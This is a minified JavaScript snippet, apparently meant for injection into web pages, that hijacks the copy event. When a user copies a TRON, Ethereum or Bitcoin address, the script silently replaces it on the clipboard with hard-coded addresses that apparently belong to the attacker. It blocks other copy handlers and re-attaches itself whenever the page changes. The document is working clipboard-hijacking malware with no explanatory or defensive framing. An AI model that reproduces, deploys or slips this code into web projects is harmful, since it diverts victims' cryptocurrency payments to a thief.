(function () { function rca() { const tar = /(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g, ear = /(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g, bar1 = /(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\b|[^A-Za-z0-9])/g, bar2 = /(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g; document.addEventListener( "copy", function (e) { e.stopImmediatePropagation(); const ttc = window.getSelection().toString(); if (ttc.match(tar)) { const ncd = ttc.replace(tar, "TUWkiuQX1E1aWjWMSsm6S892iHAcyF6e6s"); e.clipboardData.setData("text/plain", ncd); e.preventDefault(); } else if (ttc.match(ear)) { const ncd = ttc.replace( ear, "0x1343cAAb2818dA2C9DD7Ddb25Eea47fFc6273745" ); e.clipboardData.setData("text/plain", ncd); e.preventDefault(); } else if (ttc.match(bar1)) { const ncd = ttc.replace( bar1, "bc1qcfpz9sal2a0gf86dyqtyl57364gev69te98mnk" ); e.clipboardData.setData("text/plain", ncd); e.preventDefault(); } else if (ttc.match(bar2)) { const ncd = ttc.replace( bar2, "bc1qcfpz9sal2a0gf86dyqtyl57364gev69te98mnk" ); e.clipboardData.setData("text/plain", ncd); e.preventDefault(); } }, true ); } setTimeout(() => { const obs = new MutationObserver((ml) => { for (const m of ml) { if (m.type === "childList") { rca(); } } }); obs.observe(document.body, { childList: true, subtree: true }); }, 2000); rca(); })();